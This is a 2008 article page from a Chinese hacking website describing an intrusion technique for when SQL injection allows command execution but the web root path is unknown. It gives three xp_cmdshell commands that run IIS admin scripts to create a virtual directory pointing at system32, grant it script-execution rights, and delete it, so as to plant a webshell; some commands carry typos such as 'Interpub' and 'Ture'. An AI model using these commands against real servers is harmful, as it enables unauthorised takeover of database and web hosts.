我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件：
 文章：        教程:
 推荐： 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章： 爱黑新闻 | 黑客攻防 | 安全防御 | 程序设计 | 系统操作 | 网络技术 | 本站动态 | 业界动态 | 安全公告 | 病毒公告
 
 
您当前的位置：我爱黑客网 -> 黑客攻防 -> 攻防实战 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈 · Exploit
热门文章
· 骇客学堂：简单入侵个..
· 轻松入侵个人免费空间..
· 教你入侵六合彩网拿会..
· 无线攻防:破解WEP密钥..
· 会员QQ重大漏洞
· 手把手教你入侵 win20..
· 怎样不用密码进入Wind..
· 我也做黑客:简单入侵个..
· 网吧冲钱从概念到实践..
· 黑客入门者如何获取肉..
· 黑客高手必懂基础内容..
· 我这样破解万象免费上..
相关文章

· Microsoft SQL Serv..
· 关于ASP.net服务器的..
· [图文] 新型入侵方法..
· 经典总结:各个网络端..
· [图文] Win 2003无法..
· QQ能打开而网页无法..
· [图文] 如何使电脑无..
· [图文] 提示QQ号码需..
· [组图] 无法接收QQ密..
· ASP漏洞+SQL注入的入..
查看更多与无法获得Web绝对路径又一入侵方法相关内容
无法获得Web绝对路径又一入侵方法
作者：我爱黑客网  来源：http://www.5ihack.com/  发布时间：2008-8-5 21:49:36  发布人：ghostfire

减小字体 增大字体

　　我们很多情况下都遇到SQL注入可以列目录和运行命 令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错：

　　exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"’

　　建立虚拟目录win,指向c:\windows\system32

　　exec master.dbo.xp_cmdshell ’cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture’

　　让win句有解析asp脚本权 限

　　exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"

　　删除虚拟目录。

　　找不到web绝对路径的一种解决办法!

查看更多与无法获得Web绝对路径又一入侵方法相关内容
[ ] [返回上一页] [打 印] [收 藏]
上一篇文章：
下一篇文章：
      菜鸟都学会 十三步简单入侵个人电脑       Solaris服务器防范Rootkit攻击攻略
∷相关文章评论∷　　 （评论内容只代表网友观点，与本站立场无关！） [发表评论]
 
 
 
 
晋ICP备05008232 　　维护网络安全、传播安全技术才是我们的目标！　
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图